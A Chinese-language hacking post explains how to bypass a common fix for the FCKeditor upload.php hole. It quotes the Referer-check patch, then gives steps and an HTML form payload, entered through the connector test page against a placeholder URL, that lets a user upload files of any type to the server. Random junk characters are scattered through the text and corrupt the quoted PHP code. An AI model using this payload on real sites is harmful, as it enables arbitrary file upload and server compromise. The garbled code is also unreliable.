fckeditor 漏洞修复后的二次利用

admin

漏洞文件：editors/fckeditor/editor/filemanager/upload/php/upload.php
6 g" A" M; H- k# T! {网上给出的修复方案是
修复方法，删除FCK编辑器用其他的编辑器
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
在
& Q  J$ E& T$ u& }: u! |0 arequire(‘config.php’);
" g0 L+ Z# M, S4 Q' f3 V3 srequire(‘util.php’);
的下面添加以下代码—————————–
//防止外部提交
function outsidepost()
% ?3 x% j7 n% T+ q4 K{
( H. s( N4 c; S- e& a) h; o$servername=$_SERVER['SERVER_NAME'];
2 |8 n& b$ |! ^4 p* L6 i' h$sub_from=@$_SERVER['HTTP_REFERER'];
3 E; M5 ]" W) \( E  h0 p; p$sub_len=strlen($servername);
$checkfrom=substr($sub_from,7,$sub_len);
if($checkfrom!=$servername){
5 u& S$ \6 B$ H8 ~" h5 h/ recho(“you don’t outsidepost!”);
% G5 ~# L* ?* F% K: e: l+ }" _8 `, fexit;
4 d6 N2 ~( b: P  E! k2 T/ J! d}
}
) `( b$ j4 _# C  n0 [1 soutsidepost();
防止外部提交，但是没有防止内部提交，
. I2 }# R; [% `4 }9 G/ a( |利用方法：
: v& i5 y! O* U$ k: \) C. E8 [1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
8 N9 X/ z9 Y; t  I5 R! N8 L5 h2,在Current Folder 框输入
0 `5 l& V) g( \7 k3 `<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
然后 Get Folders and Files 就会出现一个上传表单，即可上传任意文件类型。
( {# k* y) T+ V/ z. LPS：如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。